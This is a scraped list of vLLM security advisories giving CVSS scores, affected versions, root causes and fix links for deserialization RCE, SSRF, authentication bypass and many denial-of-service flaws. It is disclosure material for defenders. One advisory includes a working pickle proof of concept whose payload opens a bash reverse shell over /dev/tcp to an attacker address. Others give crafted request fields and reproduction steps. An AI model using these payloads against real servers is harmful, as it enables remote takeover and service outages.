Where
-Infinity
0
Severity
10
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Impacted Deployments

Note that vLLM instances that do NOT make use of the mooncake integration are NOT vulnerable.

Description

vLLM integration with mooncake is vaulnerable to remote code execution due to using pickle based serialization over unsecured ZeroMQ sockets. The vulnerable sockets were set to listen on all network interfaces, increasing the likelihood that an attacker is able to reach the vulnerable ZeroMQ sockets to carry out an attack.

This is a similar to GHSA - x3m8 - f7g5 - qhm7, the problem is in

https://github.com/vllm-project/vllm/blob/32b14baf8a1f7195ca09484de3008063569b43c5/vllm/distributed/kvtransfer/kvpipe/mooncakepipe.py#L179

Here recvpyobj() Contains implicit pickle.loads(), which leads to potential RCE.

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

vllm-project vllm version v0.6.2 contains a vulnerability in the MessageQueue.dequeue() API function. The function uses pickle.loads to parse received sockets directly, leading to a remote code execution vulnerability. An attacker can exploit this by sending a malicious payload to the MessageQueue, causing the victim's machine to execute arbitrary code.

First published (updated )
Severity
9.8
OS Command Injection
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

vllm-project vllm version 0.6.0 contains a vulnerability in the AsyncEngineRPCServer() RPC server entrypoints. The core functionality runserverloop() calls the function makehandlercoro(), which directly uses cloudpickle.loads() on received messages without any sanitization. This can result in remote code execution by deserializing malicious pickle data.

First published (updated )
Severity
9.8
EPSS
0.06%
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Impacted Environments

This issue ONLY impacts environments using the PyNcclPipe KV cache transfer integration with the V0 engine. No other configurations are affected.

Summary vLLM supports the use of the PyNcclPipe class to establish a peer-to-peer communication domain for data transmission between distributed nodes. The GPU-side KV-Cache transmission is implemented through the PyNcclCommunicator class, while CPU-side control message passing is handled via the sendobj and recvobj methods on the CPU side.​

A remote code execution vulnerability exists in the PyNcclPipe service. Attackers can exploit this by sending malicious serialized data to gain server control privileges.

The intention was that this interface should only be exposed to a private network using the IP address specified by the --kv-ip CLI parameter. The vLLM documentation covers how this must be limited to a secured network: https://docs.vllm.ai/en/latest/deployment/security.html

Unfortunately, the default behavior from PyTorch is that the TCPStore interface will listen on ALL interfaces, regardless of what IP address is provided. The IP address given was only used as a client-side address to use. vLLM was fixed to use a workaround to force the TCPStore instance to bind its socket to a specified private interface.

This issue was reported privately to PyTorch and they determined that this behavior was intentional.

Details The PyNcclPipe implementation contains a critical security flaw where it directly processes client-provided data using pickle.loads , creating an unsafe deserialization vulnerability that can lead to ​Remote Code Execution.

1. Deploy a PyNcclPipe service configured to listen on port 18888 when launched: python from vllm.distributed.kvtransfer.kvpipe.pyncclpipe import PyNcclPipe from vllm.config import KVTransferConfig

config=KVTransferConfig( kvip="0.0.0.0", kvport=18888, kvrank=0, kvparallelsize=1, kvbuffersize=1024, kvbufferdevice="cpu" )

p=PyNcclPipe(config=config,localrank=0) p.recvtensor() # Receive data

2. The attacker crafts malicious packets and sends them to the PyNcclPipe service:

python from vllm.distributed.utils import StatelessProcessGroup

class Evil: def reduce(self): import os cmd='/bin/bash -c "bash -i >& /dev/tcp/172.28.176.1/8888 0>&1"' return (os.system,(cmd,))

client = StatelessProcessGroup.create( host='172.17.0.1', port=18888, rank=1, worldsize=2, )

client.sendobj(obj=Evil(),dst=0)

The call stack triggering ​RCE is as follows:

vllm.distributed.kvtransfer.kvpipe.pyncclpipe.PyNcclPipe.recvimpl -> vllm.distributed.kvtransfer.kvpipe.pyncclpipe.PyNcclPipe.recvmetadata -> vllm.distributed.utils.StatelessProcessGroup.recvobj -> pickle.loads

Getshell as follows:

!image

Reporters

This issue was reported independently by three different parties:

@kikayli (Zhuque Lab, Tencent) @omjeki Russell Bryant (@russellb)

Fix

https://github.com/vllm-project/vllm/pull/15988 -- vLLM now limits the TCPStore socket to the private interface as configured.

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
EPSS
0.04%
AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Description The vllm/modelexecutor/weightutils.py implements hfmodelweightsiterator to load the model checkpoint, which is downloaded from huggingface. It use torch.load function and weightsonly parameter is default value False. There is a security warning on https://pytorch.org/docs/stable/generated/torch.load.html, when torch.load load a malicious pickle data it will execute arbitrary code during unpickling.

Impact This vulnerability can be exploited to execute arbitrary codes and OS commands in the victim machine who fetch the pretrained repo remotely.

Note that most models now use the safetensors format, which is not vulnerable to this issue.

References https://pytorch.org/docs/stable/generated/torch.load.html Fix: https://github.com/vllm-project/vllm/pull/12366

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
EPSS
0.63%
SSRF
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

When the OffloadingConnector uses TieringOffloadingSpec with a P2P secondary tier, an API client can submit many unique non-listening peer addresses through kvtransferparams.prefill. vLLM keeps every never-established P2P session and its ZeroMQ sockets after the request finishes. On vLLM 0.26.0, 340 such peers filled the default ZeroMQ context socket quota; creating the next peer raised an uncaught ZMQError, terminated EngineCore, and shut down the API server. The path was reproduced with a normal API key and no access to the internal P2P listener.

Details

Root cause

In vLLM 0.26.0, P2PSecondaryTierManager.onnewrequest() reads the following request-controlled fields:

json { "kvtransferparams": { "prefill": { "kvrequestid": "id", "remotehost": "127.0.0.1", "remoteport": 49101 } } }

onnewrequest() calls getorcreatesession(peerid). This calls ZmqTransport.connect(), creates a P2PSession, and stores it in sessions before the asynchronous ZeroMQ connection has been established.

ZmqTransport.openconnection() creates a DEALER, enables a libzmq monitor, creates a PAIR socket for that monitor, calls dealer.connect(), and immediately stores the resulting ZmqConnection in connections. Returning from dealer.connect() does not prove that the peer is reachable.

The monitor subscribes only to zmq.EVENTDISCONNECTED. A peer that never accepts the initial connection produced EVENTCONNECTDELAYED, EVENTCONNECTRETRIED, and EVENTCLOSED, but no EVENTDISCONNECTED during a 60-second observation. The production monitor therefore never calls markdead(), and ZmqConnection.alive remains true.

Request completion calls session.finishrequest(), but does not close or remove the peer session. The manager reaps only a session for which session.connected and not session.alive is true. A never-established peer remains connected=True, alive=True, and ready=False. There is no establishment deadline, idle eviction, or limit on pending or total peers.

Each unique retained peer uses about three sockets in the same ZeroMQ context: the DEALER, the monitor endpoint created by libzmq, and the PAIR monitor client. With the measured default MAXSOCKETS=1023, 340 peers use approximately 1,020 sockets in addition to the local ROUTER. The next peer fails while creating its monitor PAIR. The exception escapes through onnewrequest() and the scheduler into the EngineCore loop:

text P2PSecondaryTierManager.getorcreatesession() -> ZmqTransport.connect() -> ZmqTransport.openconnection() -> monitorsock = self.zmqctx.socket(zmq.PAIR) -> zmq.error.ZMQError: Too many open files -> EngineDeadError

The process open-files limit was 65,536. The EngineCore had about 1,215 file descriptors at the failure point, so the failure was not the operating-system FD limit.

Boundary and controls

Each row below used a fresh vLLM process and pre-generated unique non-listening loopback ports.

| Test | Result | |---|---| | Default MAXSOCKETS=1023, 340 unique peers | 340 HTTP 200 responses; 340 active peers; service healthy | | Default limit, 344 unique peers, concurrency 4 | 340 HTTP 200 and 4 HTTP 500 responses; EngineCore and API exited | | Default limit, 344 unique peers, concurrency 1 | Same 340-peer ceiling and service exit | | Same endpoint repeated 512 times | 512 HTTP 200 responses; one active peer; service healthy | | 512 requests without P2P parameters | 512 HTTP 200 responses; no active peers; service healthy |

A diagnostic A/B changed only the context MAXSOCKETS value. Raising it from 1,023 to 2,048 moved the last fully successful point from 340 to 682 peers. The 683rd peer then raised the same ZMQError and terminated the service. The approximately 2.01x movement in the boundary identifies the ZeroMQ context quota as the exhausted resource.

The failure runs used logging-only instrumentation around openconnection() to record the context limit, peer count, and process FD count. It did not add or close any ZeroMQ socket and re-raised the original exception.

Related public work

PR #47843 is an open, unmerged proposal that identifies client-supplied P2P peer addresses as an SSRF risk and proposes API sanitization plus a configured peer allowlist. Those changes would block this public API trigger, but the PR does not add a connection deadline, session cleanup, or a capacity limit for never-established peers. This report adds the deterministic resource-exhaustion and service-exit impact of the retained state.

PR #49823 fixes cleanup and reconnection after a connection has been marked dead. A peer that never establishes does not receive the subscribed EVENTDISCONNECTED event, so it never enters that dead-state cleanup path.

Impact

This is uncontrolled resource consumption leading to denial of service. An attacker needs network access to an OpenAI-compatible inference endpoint and a normal API key when --api-key is enabled. The attacker does not need access to the internal P2P control or data ports and does not need any peer to answer.

Only deployments that explicitly enable OffloadingConnector, TieringOffloadingSpec, and a P2P secondary tier are affected. Repeating a cheap one-token request with unique non-listening endpoints steadily consumes scheduler and ZeroMQ resources. In the tested default context, about 341 requests were enough to terminate EngineCore and stop all inference on the instance until restart. Confidentiality and integrity were not affected; the demonstrated impact is availability loss.

This advisory was fixed in MR51504.

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
EPSS
0.63%
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

vLLM through 0.29.0 fails to validate the tpsize parameter in kvtransferparams on OpenAI-compatible completion endpoints, allowing attackers to allocate unbounded memory. Attackers can supply arbitrary tpsize values in prefill/decode disaggregated deployments to exhaust memory and trigger kernel OOM-kill of the decode worker process.

First published (updated )
Severity
8.7
EPSS
0.63%
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

vLLM Mooncake connector through 0.29.0 fails to properly manage GPU KV cache block ownership when concurrent child requests share a single transfer ID in prefill/decode disaggregated deployments. Attackers can trigger GPU memory exhaustion by submitting completion requests with multiple prompts, causing orphaned KV cache blocks to accumulate until process restart and eventually preventing legitimate requests from executing.

First published (updated )
Severity
8.7
EPSS
0.63%
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

vLLM versions through 0.29.0 contain a denial of service vulnerability in the NIXL connector's metadata handling for prefill/decode disaggregated deployments. Attackers can send requests with incomplete kvtransferparams dictionary entries to trigger an uncaught KeyError in EngineCore scheduling, causing the decode engine to terminate and making all routed requests fail until manual restart.

First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Impact In a multi-node vLLM deployment, vLLM uses ZeroMQ for some multi-node communication purposes. The primary vLLM host opens an XPUB ZeroMQ socket and binds it to ALL interfaces. While the socket is always opened for a multi-node deployment, it is only used when doing tensor parallelism across multiple hosts.

Any client with network access to this host can connect to this XPUB socket unless its port is blocked by a firewall. Once connected, these arbitrary clients will receive all of the same data broadcasted to all of the secondary vLLM hosts. This data is internal vLLM state information that is not useful to an attacker.

By potentially connecting to this socket many times and not reading data published to them, an attacker can also cause a denial of service by slowing down or potentially blocking the publisher.

Detailed Analysis

The XPUB socket in question is created here:

https://github.com/vllm-project/vllm/blob/c21b99b91241409c2fdf9f3f8c542e8748b317be/vllm/distributed/devicecommunicators/shmbroadcast.py#L236-L237

Data is published over this socket via MessageQueue.enqueue() which is called by MessageQueue.broadcastobject():

https://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/distributed/devicecommunicators/shmbroadcast.py#L452-L453

https://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/distributed/devicecommunicators/shmbroadcast.py#L475-L478

The MessageQueue.broadcastobject() method is called by the GroupCoordinator.broadcastobject() method in parallelstate.py:

https://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/distributed/parallelstate.py#L364-L366

The broadcast over ZeroMQ is only done if the GroupCoordinator was created with usemessagequeuebroadcaster set to True:

https://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/distributed/parallelstate.py#L216-L219

The only case where GroupCoordinator is created with usemessagequeuebroadcaster is the coordinator for the tensor parallelism group:

https://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/distributed/parallelstate.py#L931-L936

To determine what data is broadcasted to the tensor parallism group, we must continue tracing. GroupCoordinator.broadcastobject() is called by GroupCoordinator.broadcoasttensordict():

https://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/distributed/parallelstate.py#L489

which is called by broadcasttensordict() in communicationop.py:

https://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/distributed/communicationop.py#L29-L34

If we look at getdriverinputandbroadcast() in the V0 workerbase.py, we'll see how this tensor dict is formed:

https://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/worker/workerbase.py#L332-L352

but the data actually sent over ZeroMQ is the metadatalist portion that is split from this tensordict. The tensor parts are sent via torch.distributed and only metadata about those tensors is sent via ZeroMQ.

https://github.com/vllm-project/vllm/blob/54a66e5fee4a1ea62f1e4c79a078b20668e408c6/vllm/distributed/parallelstate.py#L61-L83

Patches

https://github.com/vllm-project/vllm/pull/17197

Workarounds

Prior to the fix, your options include: 1. Do not expose the vLLM host to a network where any untrusted connections may reach the host. 2. Ensure that only the other vLLM hosts are able to connect to the TCP port used for the XPUB socket. Note that port used is random.

References

Relevant code first introduced in https://github.com/vllm-project/vllm/pull/6183

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
EPSS
0.04%
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Summary A critical performance vulnerability has been identified in the input preprocessing logic of the multimodal tokenizer. The code dynamically replaces placeholder tokens (e.g., <|audio|>, <|image|>) with repeated tokens based on precomputed lengths. Due to ​​inefficient list concatenation operations​​, the algorithm exhibits ​​quadratic time complexity (O(n²))​​, allowing malicious actors to trigger resource exhaustion via specially crafted inputs.

Details ​​Affected Component​​: inputprocessorforphi4mm function. https://github.com/vllm-project/vllm/blob/8cac35ba435906fb7eb07e44fe1a8c26e8744f4e/vllm/modelexecutor/models/phi4mm.py#L1182-L1197

The code modifies the inputids list in-place using inputids = inputids[:i] + tokens + inputids[i+1:]. Each concatenation operation copies the entire list, leading to O(n) operations per replacement. For k placeholders expanding to m tokens, total time becomes O(kmn), approximating O(n²) in worst-case scenarios.

PoC Test data demonstrates exponential time growth: python testcases = [100, 200, 400, 800, 1600, 3200, 6400] runtimes = [0.002, 0.007, 0.028, 0.136, 0.616, 2.707, 11.854] # seconds Doubling input size increases runtime by ~4x (consistent with O(n²)).

Impact ​​Denial-of-Service (DoS):​​ An attacker could submit inputs with many placeholders (e.g., 10,000 <|audio1|> tokens), causing CPU/memory exhaustion. Example: 10,000 placeholders → ~100 million operations.

Remediation Recommendations​ Precompute all placeholder positions and expansion lengths upfront. Replace dynamic list concatenation with a single preallocated array. python Pseudocode for O(n) solution newinputids = [] for token in inputids: if token is placeholder: newinputids.extend([token] precomputedlength) else: newinputids.append(token)

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
EPSS
0.05%
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Summary Users can crash the vLLM engine serving multimodal models that use the Idefics3 vision model implementation by sending a specially crafted 1x1 pixel image. This causes a tensor dimension mismatch that results in an unhandled runtime error, leading to complete server termination.

Details The vulnerability is triggered when the image processor encounters a 1x1 pixel image with shape (1, 1, 3) in HWC (Height, Width, Channel) format. Due to the ambiguous dimensions, the processor incorrectly assumes the image is in CHW (Channel, Height, Width) format with shape (3, H, W). This misinterpretation causes an incorrect calculation of the number of image patches, resulting in a fatal tensor split operation failure.

Crash location: vllm/modelexecutor/models/idefics3.py line 672: python def processimageinput(self, imageinput: ImageInputs) -> torch.Tensor | list[torch.Tensor]: # ... numpatches = imageinput["numpatches"] return [e.flatten(0, 1) for e in imagefeatures.split(numpatches.tolist())]

The split() call fails because the computed numpatches value (17) does not match the actual tensor dimension (9): RuntimeError: splitwithsizes expects splitsizes to sum exactly to 9 (input tensor's size at dimension 0), but got splitsizes=[17]

This unhandled exception terminates the EngineCore process, crashing the server.

Affected Models Any model using the Idefics3 architecture. The vulnerability was tested with HuggingFaceTB/SmolVLM-Instruct.

Impact Denial of service by crashing the engine

Mitigation Validating the input: python def validateimagedimensions(self, imageshape): h, w = imageshape[:2] if len(imageshape) == 3 else imageshape if h < MINIMAGESIZE or w < MINIMAGESIZE: raise ValueError(f"Image dimensions too small: {h}x{w}")

Managing the exception: python try: return [e.flatten(0, 1) for e in imagefeatures.split(numpatches.tolist())] except RuntimeError as e: logger.error(f"Image processing failed: {e}") raise InvalidImageError("Failed to process image features") from e

Fixes

https://github.com/vllm-project/vllm/pull/29881

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
Input Validation
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

A frontend-legal multi-request speculative workload can make vLLM produce an out-of-vocabulary recovered token equal to vocabsize, convert that value to -1 when choosing the next live token for a request, and then feed that -1 back into the next drafter input ids. On Qwen3 GPTQ this reaches the worker-side drafting / attention path and crashes the engine with a GPU device-side assert.

The same issue is reachable through the public gRPC request surface by sending a specific overlapping Generate / Abort sequence.

Impact

- A remote client that can send public gRPC generation requests can crash the shared vLLM engine worker - The triggering request sequence aborts concurrent requests and prevents later requests from completing until the worker is restarted - In shared deployments, this is a service-wide denial of service for other clients, not just a failure isolated to the attacking requests - The failure is reproducible, so repeated request sequences can sustain the outage

Affected version

- Confirmed on vLLM 0.17.1 - Earlier and later versions have not been checked yet in this report

Repro model

- Official Hugging Face repo: - Qwen/Qwen3-0.6B-GPTQ-Int8 - Anyone wants to reproduce the bug with my PoC scripts should download Qwen3-0.6B-GPTQ-Int8 first

Trigger chain

1. A legal multi-request speculative workload keeps structured-output state, speculative decoding, overlap, and request cancellation active in the same live engine. 2. During rejection sampling, vLLM produces a recovered token equal to the model vocabsize boundary value. 3. That recovered token appears in position 0 of the sampled speculative row for a live request. The same row also contains trailing padding entries equal to -1, but those padding entries are not the key fault by themselves. 4. The next-token preparation step treats the position-0 recovered token as the real next token for that request and converts that out-of-vocabulary value to -1. 5. The drafter writes that converted -1 back into the live next-step input-id row for the request. 6. The drafting / embedding / attention path later consumes that live invalid token and the worker crashes on GPU.

Details

Simple example

The important distinction is:

- trailing -1 values in a speculative row can be ordinary padding - the bug appears when the first live token for a request becomes 151936 == vocabsize, and that live token is then converted into -1

In simplified form, the bad transition looks like this:

text sampled speculative row: [151936, -1, -1, -1, ...]

At this point, the trailing -1 values are only padding. The critical problem is that the first position holds 151936, which is out of vocabulary and is being treated as the request's real next token.

Then vLLM prepares the next-token buffer:

text nexttokenids: [-1, ...]

Finally, that converted -1 is written back into the live model input ids:

text inputidsafter: [-1, 0, 0, 0, ...]

The crash happens because the live next token became -1 and was later consumed by the drafting / embedding / attention path, not merely because the speculative row contained padded -1 entries.

Trigger path in code

1. The workload is frontend-legal. The requests use normal SamplingParams features such as structured outputs, stop, badwords, mintokens, and streaming overlap. No malformed token-id list is required at the request boundary. 2. In speculative decoding, the rejection sampler can generate recovered tokens when drafted tokens are rejected. python # vllm/v1/sample/rejectionsampler.py def samplerecoveredtokens(...): recoveredtokenids = torch.emptylike(drafttokenids) samplerecoveredtokenskernel(batchsize, maxspeclen) return recoveredtokenids On the verified Qwen3 run, the recovered-token trace shows recoveredtokenids[0] = 151936, which is exactly vocabsize for this checkpoint. 3. The speculative proposer then prepares the next-token row from the sampled speculative row. python # vllm/v1/specdecode/eagle.py def preparenexttokenidspadded(...): ... eaglepreparenexttokenpaddedkernelgrid return nexttokenids, validsampledtokenscount In the verified trace, this step receives a sampled row beginning with 151936, followed by -1 padding. The important point is that 151936 occupies the first live token position for the request. This step then produces nexttokenids[0] = -1, meaning the live next token for the request has been converted to -1. 4. The drafter then rotates the draft input ids and inserts those nexttokenids back into the live input-id buffer. python # vllm/v1/specdecode/eagle.py def setinputsfirstpass(...): ... self.inputids[tokenindicestosample] = nexttokenids In the verified trace, this produces inputidsafter[0] = -1. 5. The model-side embed path later consumes those input ids. python # vllm/modelexecutor/models/qwen2.py def embedinputids(self, inputids: torch.Tensor) -> torch.Tensor: return self.embedtokens(inputids) In the verified trace, this is the first point where the converted -1 becomes visible as a real model input. The bug is not merely that the sampled speculative row contained padding -1; the bug is that the live next token for the request became -1 and was written back into input ids. 6. After that point, the visible sink depends on timing and backend state. On the attached Qwen3 reproducer, the engine commonly dies later in the drafting / attention path with CUDA error: device-side assert triggered, for example under flashattnvarlenfunc(...).

Local script breakdown

reprog4recoveredminus1local.py is a standalone local reproducer.

- It reads the Qwen3 checkpoint path from VLLMPOCG4MODEL or the built-in /path/to/qwen3 placeholder - It creates EngineCore directly without any external helper dependency - It submits one fixed multi-request workload that preserves the same overlap and speculative-decoding state needed for the bug - It writes: - requestpayloads.json - reproconfig.json - timeline.json - responses.json - error.txt - recoveredchaintrace.jsonl - recoveredchaintrace.jsonl is the key attribution artifact. It records the recovered-token chain directly from the standalone reproducer

gRPC script breakdown

reprog4recoveredminus1grpc.py is a standalone public gRPC reproducer.

- It reads the Qwen3 checkpoint path from VLLMPOCG4MODEL or the built-in /path/to/qwen3 placeholder - It starts a temporary vllm.entrypoints.grpcserver process - It sends only public Generate and Abort RPCs - It submits one fixed overlapping request sequence that preserves the same speculative-decoding state needed for the bug - After the crash window, it sends one more public Generate probe request to confirm that later gRPC requests also fail after the worker dies - It writes: - requestpayloads.json - timeline.json - servercommand.json - responses.json - postcrashprobe.json - server.stdout.log - server.stderr.log

Observed result

Local repro typically ends with:

- a recovered-token trace showing: - samplerecoveredtokensreturn -> recoveredtokenids[0] = 151936 - preparenexttokenidspadded -> nexttokenids[0] = -1 - setinputsfirstpass -> inputidsafter[0] = -1 - embedinputidsoutofrange -> inputids[0] = -1 - CUDA error: device-side assert triggered - a fatal engine-side failure

gRPC repro typically ends with:

- the triggering gRPC requests failing with INTERNAL: EngineCore encountered an issue. See stack trace (above) for the root cause. - server logs showing the worker dies with CUDA error: device-side assert triggered - a later public probe request also failing after the worker is dead

This demonstrates that the issue is reachable through the public gRPC request surface, not only through a local reproducer.

Log snippets

Local recovered-chain trace

text samplerecoveredtokensreturn: recoveredtokenids = [151936, ...] vocabsize = 151936

preparenexttokenidspadded: sampledtokenidshead = [[151936, -1, -1, ...], ...] nexttokenids = [-1, ...]

setinputsfirstpass: inputidsafter = [-1, 0, 0, 0, ...]

embedinputidsoutofrange: inputids = [-1, 0, 0, 0, ...]

gRPC server log

text torch.AcceleratorError: CUDA error: device-side assert triggered ... vllm.v1.engine.exceptions.EngineDeadError: EngineCore encountered an issue. See stack trace (above) for the root cause. ... Error in Generate for request postcrashprobe vllm.v1.engine.exceptions.EngineDeadError: EngineCore encountered an issue. See stack trace (above) for the root cause.

Root cause

This is a speculative-decoding state-handling bug, not an invalid frontend token-id input bug.

The root cause is that a recovered speculative token can become equal to vocabsize, then be selected as the live next token for a request, then be converted to -1, and that converted -1 is still written back into live drafter input ids and later consumed by the drafting / embedding / attention path.

For the Qwen3 checkpoint used here:

- 151936 == vocabsize

This value should be described as the model vocabsize boundary value, not as a legal token id.

Attachments

The attached bundle for this report should contain:

- reprog4recoveredminus1local.py - reprog4recoveredminus1grpc.py

These two standalone scripts are sufficient to reproduce the issue and its public gRPC reachability.

Fix

A fix for this vulnerability has been merged in: https://github.com/vllm-project/vllm/pull/44744

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
EPSS
0.01%
SSRF
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L

Summary A Server-Side Request Forgery (SSRF) vulnerability exists in the MediaConnector class within the vLLM project's multimodal feature set. The loadfromurl and loadfromurlasync methods obtain and process media from URLs provided by users, using different Python parsing libraries when restricting the target host. These two parsing libraries have different interpretations of backslashes, which allows the host name restriction to be bypassed. This allows an attacker to coerce the vLLM server into making arbitrary requests to internal network resources.

This vulnerability is particularly critical in containerized environments like llm-d, where a compromised vLLM pod could be used to scan the internal network, interact with other pods, and potentially cause Denial of Service or access sensitive data. For example, an attacker could make the vLLM pod send malicious requests to an internal llm-d management endpoint, leading to system instability by falsely reporting metrics like the KV cache state.

Details The core of the vulnerability lies in the MediaConnector.loadfromurl method and its asynchronous counterpart. These methods accept a URL string to fetch media content (images, audio, video).

def loadfromurl( self, url: str, mediaio: MediaIO[M], , fetchtimeout: int | None = None, ) -> M: # type: ignore[type-var] urlspec = urlparse(url) if urlspec.scheme.startswith("http"): self.asserturlinallowedmediadomains(urlspec) connection = self.connection data = connection.getbytes( url, timeout=fetchtimeout, allowredirects=envs.VLLMMEDIAURLALLOWREDIRECTS, ) return mediaio.loadbytes(data)

The URL validation uses the urlparse function from Python's urllib module, while the request is made using the request function from Python's requests module. The requests module's underlying URL parsing is implemented using the parseurl function from Python's urllib3. These two parsing functions follow different URL specifications; one is implemented according to the RFC 3986 specification, and the other is implemented according to the WHATWG Living Standard. There is a difference in how the two functions handle backslashes (\) in URLs, which allows the hostname restriction to be bypassed.

Fix

https://github.com/vllm-project/vllm/pull/32746

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
EPSS
0.27%
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

vLLM versions before 0.28.0 fail to validate audio sample rate headers in the transcription endpoint, allowing authenticated clients to bypass duration checks. Attackers can submit forged FLAC headers with inflated sample rates to trigger excessive memory allocation and crash the API server process affecting all tenants.

First published (updated )
Severity
7.1
Out-of-bounds Read
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

vLLM before 0.29.0 accepts user-controlled stoptokenids on the OpenAI-compatible POST /v1/completions and POST /v1/chat/completions endpoints but validates only that the values are integers, not that each token id is within the model vocabulary/logits range. When mintokens > 0, the stop token ids are used as logits indices to suppress stop tokens, so an out-of-range id reaches a CUDA indexing operation (indexput) and triggers a device-side assertion. An authenticated API user can send a single malformed completion request that returns 500 Internal Server Error and puts EngineCore into a fatal state, causing subsequent requests to fail until the service is restarted (denial of service).

First published (updated )
Severity
7

A completions API request with an empty prompt will crash the vllm API server.

The impact is limited based on what model is being served. Serving gpt2 is affected. Most models are not affected, as vllm will prepend tokens to the prompt, avoiding the problematic code.

https://github.com/vllm-project/vllm/commit/e25fee57c2e69161bd261f5986dc5aeb198bbd42

First published (updated )
Severity
7

vLLM is an inference and serving engine for large language models (LLMs). From 0.3.0 until 0.22.0, a vulnerability in ASGI web servers and starlette's trust on those web servers enables an authentication bypass of the OpenAI API AuthenticationMiddleware. It allows to use the API without providing the configured VLLMAPIKEY or --api-key. This vulnerability is fixed in 0.22.0.

First published (updated )
Severity
7

vLLM versions >= 0.10.2 and < 0.13.0 are missing sparse tensor validation in multimodal embeddings processing. Because PyTorch disables sparse tensor invariant checks by default, an attacker can submit crafted embedding requests with malformed (negative or out-of-bounds) tensor indices, when the prompt-embeds feature is enabled, to trigger crashes or resource exhaustion (denial of service), with potential for out-of-bounds/write-what-where memory corruption. This continues CVE-2025-62164, whose prior fix only disabled the feature by default rather than addressing the root cause.

First published (updated )
Severity
7

vLLM is an inference and serving engine for large language models (LLMs). Starting in version 0.10.1 and prior to version 0.14.0, vLLM loads Hugging Face automap dynamic modules during model resolution without gating on trustremotecode, allowing attacker-controlled Python code in a model repo/path to execute at server startup. An attacker who can influence the model repo/path (local directory or remote Hugging Face repo) can achieve arbitrary code execution on the vLLM host during model load. This happens before any request handling and does not require API access. Version 0.14.0 fixes the issue.

First published (updated )

vllmSSRF

Risk 33
Severity
7
SSRF

vLLM is an inference and serving engine for large language models (LLMs). Prior to version 0.14.1, a Server-Side Request Forgery (SSRF) vulnerability exists in the MediaConnector class within the vLLM project's multimodal feature set. The loadfromurl and loadfromurlasync methods obtain and process media from URLs provided by users, using different Python parsing libraries when restricting the target host. These two parsing libraries have different interpretations of backslashes, which allows the host name restriction to be bypassed. This allows an attacker to coerce the vLLM server into making arbitrary requests to internal network resources. This vulnerability is particularly critical in containerized environments like llm-d, where a compromised vLLM pod could be used to scan the internal network, interact with other pods, and potentially cause denial of service or access sensitive data. For example, an attacker could make the vLLM pod send malicious requests to an internal llm-d management endpoint, leading to system instability by falsely reporting metrics like the KV cache state. Version 0.14.1 contains a patch for the issue.

First published (updated )

vllmSSRF

Risk 33
Severity
7
SSRF

vLLM is an inference and serving engine for large language models (LLMs). The SSRF protection fix for CVE-2026-24779 add in 0.15.1 can be bypassed in the loadfromurlasync method due to inconsistent URL parsing behavior between the validation layer and the actual HTTP client. The SSRF fix uses urllib3.util.parseurl() to validate and extract the hostname from user-provided URLs. However, loadfromurlasync uses aiohttp for making the actual HTTP requests, and aiohttp internally uses the yarl library for URL parsing. This vulnerability in 0.17.0.

First published (updated )
Severity
7

vLLM is an inference and serving engine for large language models (LLMs). From 0.1.0 to before 0.19.0, a Denial of Service vulnerability exists in the vLLM OpenAI-compatible API server. Due to the lack of an upper bound validation on the n parameter in the ChatCompletionRequest and CompletionRequest Pydantic models, an unauthenticated attacker can send a single HTTP request with an astronomically large n value. This completely blocks the Python asyncio event loop and causes immediate Out-Of-Memory crashes by allocating millions of request object copies in the heap before the request even reaches the scheduling queue. This vulnerability is fixed in 0.19.0.

First published (updated )
Severity
7

vLLM is an inference and serving engine for large language models (LLMs). Starting in version 0.10.1 and prior to version 0.18.0, two model implementation files hardcode trustremotecode=True when loading sub-components, bypassing the user's explicit --trust-remote-code=False security opt-out. This enables remote code execution via malicious model repositories even when the user has explicitly disabled remote code trust. Version 0.18.0 patches the issue.

First published (updated )
Severity
7

vLLM is an inference and serving engine for large language models (LLMs). From 0.7.0 to before 0.19.0, the VideoMediaIO.loadbase64() method at vllm/multimodal/media/video.py splits video/jpeg data URLs by comma to extract individual JPEG frames, but does not enforce a frame count limit. The numframes parameter (default: 32), which is enforced by the loadbytes() code path, is completely bypassed in the video/jpeg base64 path. An attacker can send a single API request containing thousands of comma-separated base64-encoded JPEG frames, causing the server to decode all frames into memory and crash with OOM. This vulnerability is fixed in 0.19.0.

First published (updated )
Severity
6.9
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

